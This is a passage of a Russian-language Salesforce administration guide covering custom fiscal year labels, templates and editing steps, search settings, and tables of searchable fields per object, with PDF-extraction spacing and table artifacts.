Пронумеровано по кварталу
Данный параметр позволяет задавать метку периода на основе его положения в квартале. Метка периода — это
комбинация префикса и номера периода. Номера периодов сбрасываются в каждом квартале. Например, при
использованиипрефиксапериода «П» метка «П2» соответствуетшестомупериоду, являющемусявторымпериодом
во втором квартале. Дополнительнуюинформациюонастройкепрефикса периода см. в определении«Префикс
периода»настранице392. Поумолчаниюномеркаждогопериодасоответствует егопорядковомуномерув квартале
(например, метка «1» соответствует первому периоду квартала), но может быть изменен путем выбора другого
значения в раскрывающемся списке сведений о периоде.

Стандартные имена месяцев
Данный параметр позволяет задавать метке периода имя месяца, соответствующего началу периода. Например,
метка «Октябрь» соответствует периоду, начавшемуся 12 октября и завершившемуся 10 ноября.

Настраиваемые имена периодов
Данныйпараметрпозволяет задаватьметкепериодалюбуюстроку. Меткепериодаприсваиваетсястрока, выбранная
в поле «Имя периода». По умолчанию порядок отображения имен периодов соответствует порядку
раскрывающегося списка, но может быть изменен путем выбора другого значения в раскрывающемся списке
сведений о периоде.

Раскрывающиеся списки финансового года
Чтобы настроить метки для настраиваемого финансового года, просмотрите настраиваемые раскрывающиеся списки
ниже.

Префикс квартала
Раскрывающийся список «Префикс квартала» — это список префиксов, доступных для добавления в имя или номер
кварталаприиспользованиисхемынаименованияквартала«Пронумерованопогоду». Например, меткафинансового
квартала «К4» содержит префикс квартала «К».

Префикс периода
Раскрывающийся список «Префикс периода» — это список префиксов, доступных для добавления в имя или номер
периодаприиспользованиисхемынаименованияпериода«Пронумерованопогоду». Например, меткафинансового
периода «П4» содержит префикс периода «П».

Имя квартала
Раскрывающийся список «Имя квартала» — это список имен квартала при использовании схемы наименования
квартала «Настраиваемыеименакварталов». Например, чтобыназначитькварталамназваниявремен года («Весна»,
«Лето», «Осень» и «Зима»), добавьте данные значения в список имен квартала.

Имя периода
Раскрывающийся список «Имя периода» — это список имен периода при использовании схемы наименования
периода «Настраиваемыеимена периодов». Подобно раскрывающемуся списку имен квартала, раскрывающийся
список имен периода также может быть дополнен нужными значениями.
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Настройка имен финансового года
Чтобы настроить один из раскрывающихся списков, выполните указанные ниже действия.

1. Последовательно выберите пункты «Профиль компании» > «Финансовый год» в меню «Настройка».

2. Щелкните ссылку «Правка» напротив нужного раскрывающегося списка.

СМ. ТАКЖЕ:

Финансовые года

Выбор шаблона настраиваемого финансового года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения
финансового года:
• «Настройка

приложения»

При определении нового настраиваемого финансового года рекомендуем сначала
выбрать шаблон настраиваемого финансового года. Доступные шаблоны позволяют
ускорить определение настраиваемого финансового года. Шаблон создает обычный
настраиваемыйфинансовый год, который может быть настроен в соответствии с
текущими бизнес-требованиями.

Прим.: Выбранныйшаблон, которыйнесоответствуетопределениюфинансового
года, может быть изменен посредством параметра «Сбросить структуру
финансового года».

Выберите один из трех типов шаблонов.

4 квартала в году, 13 недель в квартале
Чтобы каждый квартал содержал одинаковое количество недель, выберите один из
шаблонов финансового года. Все шаблоны содержат 4 квартала, 12 периодов и
52 недели в году. Каждый квартал длится 13 недель и состоит из трех периодов.
Продолжительностьдвухпериодовкаждогокварталасоставляет 4 неделииодного —
5 недель. Например, шаблон 4-4-5 использует первый и второй периоды квартала
продолжительностью 4 недели, а третий период — 5 недель. Продолжительность
недель всегда составляет 7 дней. Обычно данные шаблоны настраиваются путем
добавления дополнительных недель, предназначенных для високосных лет.

4-4-5
В каждом квартале, в первом периоде 4 недели, во втором периоде 4 недели, в третьем периоде 5 недель.

4-5-4
В каждом квартале, в первом периоде 4 недели, во втором периоде 5 недель, в третьем периоде 4 недели.

5-4-4
В каждом квартале, в первом периоде 5 недель, во втором периоде 4 недели, в третьем периоде 4 недели.

13 периодов в год, 4 недели в периоде
Еслифинансовый год содержит более 12 периодов и длина одного из кварталов превышает длину других кварталов,
выберите один из этих шаблонов. Все шаблоны содержат 4 квартала в году, 13 периодов в году, 3 или 4 периода в
квартале, 53 недели в годуи 4 недели впериоде (5 недель в последнемпериоде). Какправило, недели состоят из 7 дней,
но в конце года могут быть короче. Обычно данные шаблоны настраиваются путем создания или изменения
продолжительности короткой недели.

3-3-3-4
В первом квартале 3 периода, во втором квартале 3 периода, в третьем квартале 3 периода, в четвертом квартале
4 периода.
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3-3-4-3
В первом квартале 3 периода, во втором квартале 3 периода, в третьем квартале 4 периода, в четвертом квартале
3 периода.

3-4-3-3
В первом квартале 3 периода, во втором квартале 4 периода, в третьем квартале 3 периода, в четвертом квартале
3 периода.

4-3-3-3
В первом квартале 4 периода, во втором квартале 3 периода, в третьем квартале 3 периода, в четвертом квартале
3 периода.

Григорианский календарь
12 месяцев в году, стандартный григорианский календарь.

В отличие от других шаблонов, шаблон григорианского календаря не поддерживает расширенную настройку
производныхфинансовыхлет. Данныйшаблондолжениспользоватьсядля созданияфинансовыхлет, повторяющих
структуру григорианского календаря. Данныйшаблон имитирует функции стандартных финансовых лет.

СМ. ТАКЖЕ:

Финансовые года

Определение настраиваемого финансового года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
финансового года:
• «Просмотр настройки и

конфигурации»

Для изменения
финансового года:
• «Настройка

приложения»

Настройте финансовый год вашей компании в соответствии с корпоративным
календарем. Чтобы изменить заданный настраиваемыйфинансовый год, измените
определение текущего финансового года.

Прежде чем определить настраиваемыйфинансовый год, включите поддержку
настраиваемыхфинансовыхлет. Дополнительнуюинформациюсм. вразделе«Настройка
финансового года» на странице 389.

Прежде чем определить или изменить любой настраиваемыйфинансовый год,
просмотрите раздел «Финансовые годы» на странице 387, описывающий возможное
влияние на прогнозы, отчеты и другие объекты.

Настраиваемые финансовые годы не могут быть удалены.

Определение нового настраиваемого финансового года
1. Последовательно выберите пункты «Профиль компании» > «Финансовый год»

в меню «Настройка».

2. Нажмите кнопку «Создать». При этом откроется диалоговое окно «Шаблоны
настраиваемого финансового года».

3. Выберите нужныйшаблон. Чтобы закрыть диалоговое окно, нажмите кнопку
«Продолжить». Дополнительную информацию ошаблонах см. в разделе «Выбор
шаблона настраиваемого финансового года» на странице 393.

4. Выберите начальную дату финансового года, имя финансового года и начальный день недели. При необходимости
добавьте описание финансового года.

394

Финансовые годаНастройка и обслуживание организации Salesforce



Прим.: При определении первого настраиваемого финансового года поля «Начальная дата финансового
года» и «Начальный день недели» заполняются текущими датой и днем недели. В противном случае данные
поля заполняются днем, следующим за последней датой окончания настраиваемых финансовых лет.

Дополнительнуюинформациюобизменениипараметров (кромедатыначала, именигодаилиначальногоднянедели)
см. в разделе «Настройка структурыфинансового года» на странице 390.

5. Чтобы просмотреть определение финансового года, нажмите кнопку «Предварительный просмотр».

Чтобы сохранить финансовый год, закройте окно предварительного просмотра и нажмите кнопку «Сохранить».
Чтобы сохранить текущийфинансовый год и добавить новый, нажмите кнопку «Сохранить и создать».

Внимание: Если в компании используется прогнозирование, создание первого настраиваемогофинансового года
приводит к удалению любых планов продаж и поправок в соответствующем и последующих стандартных
финансовых годах.

Редактирование настраиваемого финансового года
1. Последовательно выберите пункты «Профиль компании» > «Финансовый год» в меню «Настройка».

2. Чтобы просмотреть сведения о заданномфинансовом годе, щелкните имя нужного финансового года. Чтобы
продолжить работу, закройте окно предварительного просмотра финансового года.

3. Щелкните ссылку «Правка» напротив нужного финансового года.

4. Настройтепараметры «Начальная дата финансового года», «Имя финансового года», «Описание» и «Начальный
день недели».

Если изменение параметра «Начальная дата финансового года» инициирует наложение текущего финансового
года на предыдущийфинансовый год или создание промежутка между финансовыми годами, то дата окончания
предыдущего финансового года будет заменена днем, предшествующим дате начала текущего финансового года.

Если изменение даты окончания инициирует наложение текущего финансового года на следующийфинансовый
год или создание промежутка между финансовыми годами, то дата начала следующего финансового года будет
заменена днем, следующим за датой окончания текущего финансового года.

Прим.: Дата начала или окончания финансового года, инициирующая его наложение на финансовый год,
заданный посредствомшаблона григорианского года, не может быть изменена.

Внимание: Изменениедатыначалаилиокончаниялюбого квартала, периодаилинеделиинициирует удаление
всех данных прогноза (включая планы продаж, историю прогноза и поправок прогноза), соответствующих
выбранномудиапазонудат, ивсехпрогнозовдлядиапазоновдат, скорректированныхавтоматическиврезультате
данного изменения. Данный алгоритм распространяется на изменение даты начала или окончания в результате
вставки или удаления периодов.

5. Нажмите кнопку «Предварительный просмотр».

6. Просмотрите определение финансового года. Чтобы сохранить финансовый год, закройте окно предварительного
просмотра и нажмите кнопку «Сохранить». Дополнительную информацию о доступных изменениях см. в разделе
«Настройка структурыфинансового года» на странице 390.

Прим.: Метки периодов финансового года для прогнозов и отчетов используют стандартные значения меток
для периодов финансового года, кроме меток, заданных пользователем. Дополнительную информацию об их
изменении см. в разделе «Настройка меток финансового года» на странице 391.
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Настройка поиска

Настройка параметров поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поиска:
• «Настройка

приложения»

Чтобы изменить параметры поиска организации, выполните указанные ниже действия.

1. Введите «Параметры поиска» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Параметры поиска».

2. Измените параметры поиска для организации.

3. Нажмите кнопку «Сохранить».

Параметры поиска
Ниже перечислены доступные параметры поиска.

Включить раскрывающийся список для поиска на боковой панели
Раскрывающийсясписокдляпоисканабоковойпанелипозволяетограничитьпоиски
пользователей по объекту. При установке флажка «Включить раскрывающийся
список для поиска на боковой панели» раздел «Поиск» дополняется
раскрывающимся списком. Данный список позволяет выбирать область поиска (по
тегам, определенному объекту или всем объектам).

Включитьфлажок поиска «Ограничиться моими элементами»
Флажок «Ограничиться моими элементами» позволяет выполнятьпоиск толькопо собственнымзаписямпри вводе
поисковых запросов на боковой панели.

Прим.: Независимо от данного параметра, флажок «Ограничиться моими элементами», отображаемый при
расширенном поиске, доступен пользователям всегда.

Включитьфункциюпоиска по содержимому документов
Функция «Поиск по содержимому документов» позволяет выполнять полнотекстовый поиск по документам. При
загрузке нового документа или замене старого содержимое документа доступно как критерии поиска.

Включить оптимизациюпоиска, если содержимое доступно на японском, китайском или корейском языке
Данный параметр позволяет оптимизировать поиск на японском, китайском и корейском языках. Данный параметр
применяется к поиску на боковой панели и поиску организации посредством кнопки «Найти повторы» в записи
интереса при использовании поиска на боковой панели и глобального поиска. Рекомендуем включить данный
параметр при использовании японского, китайского или корейского языка для поиска или отображения текста в
полях, доступных для поиска.

При использовании других языков данныйфлажок не требуется.

Использовать недавно просмотренные записи пользователя для пустых и автоматически заполненных полей
поиска

Если данный параметр включен, то список записей, возвращаемых при пустом или автоматически заполненном
поиске, составляетсянаосновенедавнопросмотренных записейпользователя. Данныйпараметрприменяется только
к поискам по объектам пользователя; поиск по другим объектам не поддерживается.

Если данный параметр выключен, то диалоговое окно отображает список недавно просмотренных записей всех
пользователей организации.
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Включить англоязычнуюфункциюисправления ошибок при поиске по базе знаний (бета-версия)
Если данный параметр включен, то функция поиска находит и предлагает варианты замены для англоязычных
критериев поиска:

• На вкладках «Статьи» и «Управление статьями»

• В инструменте ленты обращений «Статьи»

• На боковой панели Salesforce Knowledge консоли Salesforce

Данный параметр применяется к поискам статей посредством API, но не к поискам статей посредством глобального
поиска.

Включить автозаполнение полей поиска на боковой панели
Если данный параметр включен, то по мере ввода критериев поиска отображается список совпадающих записей,
просмотренных последними.

Прим.: Функция глобального поиска поддерживает автозаполнение и не требует параметров поиска.

Включить значок результата разового поиска
Если данный параметр включен, то операция поиска, возвратившая всего один элемент, пропускает страницу
результатов поиска и открывает страницу сведений о записи.

Данный параметр не применяется к тегам, комментариям к обращениям (при расширенном поиске) и глобальному
поиску. Если глобальный поиск возвращает всего один тег, комментарий к обращению или элемент, то страница
результатов поиска отображается как обычно.

Количество отображаемых результатов поиска для одного объекта
Область «Количество отображаемых результатов поиска для одного объекта» позволяет определять количество
элементов, отображаемых для каждого объекта на странице «Результаты поиска». Текущее количество отображается
напротив каждого объекта в скобках. Чтобыизменить данныйпараметр, выберите как минимумодин объект, введите
новое количество результатов на страницу и нажмите кнопку «Сохранить». Новое значение должно находиться в
диапазоне от 5 до 50.

Параметры поиска
Область «Параметры поиска» позволяет включить расширенные поиски и автозаполнение полей для поиска
организаций, контактов, пользователей и любых настраиваемых объектов.

СМ. ТАКЖЕ:

Рекомендации по сокращению времени поиска

Доступные для поиска объекты и поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Типы записей, доступные
для поиска, определяются
используемой версией
системы.

Salesforce выполняет поиск уникального набора полей для каждого объекта.

Прим.: Припоиске значения в поле, скрытом согласнопараметрамбезопасности,
результаты возвращают запись, содержащую данное поле. Тем не менее, данное
поле не отображается.

Поля объектов, доступные для поиска в Salesforce Classic

Каждый тип поиска охватывает уникальный набор полей каждого объекта.
Возвращаемые результаты поиска для отдельного объекта определяются двумя
факторами: тип поиска и поля объекта, доступные для поиска.
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Поля объектов, доступные для поиска в Lightning Experience

Записи, возвращаемыеврезультатахпоиска, определяютсядоступностьютипаобъекта записииегополейдляпоиска.
Результаты поиска не отображают объект, значение которого хранится в поле, которое недоступно для поиска.

Поля объектов, доступные для поиска в Salesforce Classic

ВЕРСИИ

Доступно в: Salesforce
Classic.

Типы записей, доступные
для поиска, определяются
используемой версией
системы.

Каждыйтиппоискаохватываетуникальныйнаборполейкаждогообъекта. Возвращаемые
результаты поиска для отдельного объекта определяются двумяфакторами: тип поиска
и поля объекта, доступные для поиска.

Представьтеорганизацию, поле «Описание» которойсодержит значение «Acme». Поле
«Описание» неопрашивается стандартнымидиалоговымипоисками, ноопрашивается
глобальными и расширенными диалоговыми поисками при наличиифлажка «Все
поля». Такимобразом, поискпо запросу «Acme» возвращаетданнуюзаписьорганизации
только при использовании глобального или расширенного диалогового поиска и
наличиифлажка «Все поля».

Нижеперечисленынекоторыерекомендациипоиспользованиюполей, доступныхдля
поиска.

• В отличие от других типов поиска, глобальный поиск охватывает больше полей объекта.

• По умолчанию расширенные поиски обрабатывают ограниченный набор полей (или поля «Имя») для каждого
объекта. Припоиске записи, возвращающембольшоеколичество совпадений (например, широкоиспользуемоеимя
контакта), результаты могут быть уточнены путем обработки всех полей, доступных для поиска. Установите флажок
«Всеполя» (приегоналичии) в диалоговомокнерасширенногопоискаивведитедругие уникальныекритериипоиска
(например, адрес эл. почты контакта).

• Зашифрованные поля, поля формулы и поля поиска недоступны для поиска.

• Функции поиска на боковой панели и расширенного поиска не поддерживают поиск некоторых объектов. Ниже
перечислены объекты, для поиска которых рекомендуем использовать глобальный поиск или поиск по вкладке.

– Статьи

– Группы, файлы, темы и люди Chatter

– Salesforce CRM Content

– Документы

– Прайс-листы

– Продукты

– Решения

Прим.: При поиске значения в поле, скрытом согласно параметрам безопасности, результаты возвращают запись,
содержащую данное поле. Тем не менее, данное поле не отображается.

Даннаятаблицаотображаеттипыпоиска, поддерживаемыекаждымобъектом. Чтобыпросмотретьсписокполей, доступных
для поиска, щелкните ссылку на нужный объект.

Глобальный
поиск

Расширенный
диалоговый
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Объект

Актив

Вложение
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Глобальный
поиск

Расширенный
диалоговый
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Объект

Организация-компания

Кампания

Календарное
событие

Обращение

Лента Chatter

Группа Chatter

Обучение

Сообщество

Контакт

Salesforce CRM
Content

Контракт

Элемент строки
контракта

Настраиваемый
объект

Компания D&B

Панель
мониторинга

Дискуссия

Документ

Право

Внешний объект

Файл

Цель

Идея

Статья базы
знаний

Интерес
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Глобальный
поиск

Расширенный
диалоговый
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Объект

Транскрипт Live
Chat

Макрос

Показатель

Примечание

Возможность

Заказ

Люди

Цикл
производительности

Организация-лицо

Прайс-лист

Продукт

Вопрос

Быстрый текст

Смета

Отчет

Запрошенная
встреча

Копилка наград

Тип копилки
наград

Пользователь
портала
самообслуживания

Сервисный
контракт

Навык

Решение

Задача

Тема
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Глобальный
поиск

Расширенный
диалоговый
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Объект

Пользователь

Work Order

Work Order Line
Item

Поля, доступные для поиска: актив

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя актива

Описание

Серийный номер

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: вложение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

Содержимое вложений недоступно для поиска.

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: организация-компания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные поля
организаций-компаний
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Имя
организации

Имя
организации
(на родном
языке)

Номер
организации

Местоположение
организации

Адрес для
счета

Описание

Номер
D-U-N-S
(Данное
поле
доступно
только
организациям,
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

использующим
продукт Data.com
Prospector.)

Факс

Тел.

Адрес отправки

Биржевой символ

Веб-сайт

Все
настраиваемые
поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: кампания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Имя кампании

Описание

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля, заданные
в качестве
внешнего кода

(Начальные
нулимогутбыть
пропущены.)

Все
настраиваемые
поля типа
«текст»,
«текстовая
область»,
«область
подробного
текста»,
«область
обогащенного
текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: обращение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Комментарии к
обращению

Номер
обращения

(Начальные
нулимогутбыть
пропущены.)

Описание

Тема

Веб-компания
(поле
пользователя,
отправившего
обращение
через
Интернет)

Веб-адрес
(поле
пользователя,
отправившего
обращение
через
Интернет)

Веб-имя  (поле
пользователя,
отправившего
обращение
через
Интернет)

Веб-телефон
(поле
пользователя,
отправившего
обращение
через
Интернет)
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Глобальный поискСтандартный
диалоговый поиск

РасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Все настраиваемые
поля типа
«автонумерация» и
настраиваемые поля,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: лента Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Дляпоискасведенийвлентахрекомендуемиспользоватьфункциюглобальногопоиска
или поиска по лентам. Функции поиска на боковой панели и расширенного поиска не
поддерживают поиск сведений в лентах Chatter.

Прим.: Глобальный поиск и поиск по лентам возвращают совпадающие имена
файлов или ссылок, опубликованных в сообщениях, но не в комментариях.

Поиск по
лентам

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

@имя  (где
переменная имя
заменяется
именем
пользователя)

Текст
комментария

Имя
комментатора
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Поиск по лентамГлобальный поискРасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Имя файла

Имя группы

Ссылки

Происхождение
сообщения (имя
группы, пользователя
или записи)

Текст сообщения

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: группа Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
группChatter. Дляпоиска группChatterрекомендуемиспользоватьфункциюглобального
поиска или средства поиска на вкладке «Группы». Результаты глобального поиска
охватывают архивные группы.

Вкладка
«Группы»

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Описание

Имя группы

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: обучение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: сообщество

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Имя
сообщества

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: контакт

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Ассистент

Тел.
ассистента

Отдел

Описание

Эл. почта

Факс

Личное имя

Личное имя
(на родном
языке)

Дом. тел.

Фамилия

Фамилия
(на родном
языке)

Почтовый
адрес

Отчество

Отчество
(на родном
языке)

Мобильный
тел.

Другой
адрес

Другой тел.

Тел.
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

Суффикс

Должность

Все
настраиваемые
поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
содержимого. Дляпоискасодержимогорекомендуемиспользоватьфункциюглобального
поиска (результаты отображаются в виде файлов) или инструменты поиска на вкладке
«Содержимое».

Вкладка
«Содержимое»

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Текст

Описание

Файл

Ответственный

Заголовок

Версия

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля, заданные
в качестве
внешнего кода

(Начальные
нулимогутбыть
пропущены.)
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Вкладка
«Содержимое»

Глобальный поискРасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: контракт

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Адрес для
счета

Учетное имя
(имя и
фамилия)

Имя контракта

Номер
контракта

Описание

Адрес отправки

Особые
условия

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля, заданные
в качестве
внешнего кода
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Глобальный поискСтандартный
диалоговый поиск

РасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: элемент строки контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: настраиваемый объект

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Записи настраиваемых объектов доступны для поиска в пользовательском интерфейсе
Salesforce только при наличии связи между настраиваемым объектом и настраиваемой
вкладкой. Вкладка может не отображаться.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Имя

Все
настраиваемые
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «эл.
почта» и «тел.»

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста» и «область
обогащенного
текста»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: компания D&B

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Записи компаний D&B доступны только при использованиипродуктаData.com Premium
Prospector или Data.com Premium Clean.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Город компании

Страна компании

Описание компании

Номер D-U-N-S

Номер факсимиле

Почтовый адрес

Основной адрес

Основное
официальное имя

Номер телефона

URL-адрес

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: панель мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Заголовок

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)
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Глобальный поискРасширенный поискПоиск на боковой панелиПоля, доступные для
поиска

Все настраиваемые поля
типа «текст», «текстовая
область», «область
подробноготекста», «область
обогащенного текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: дискуссия
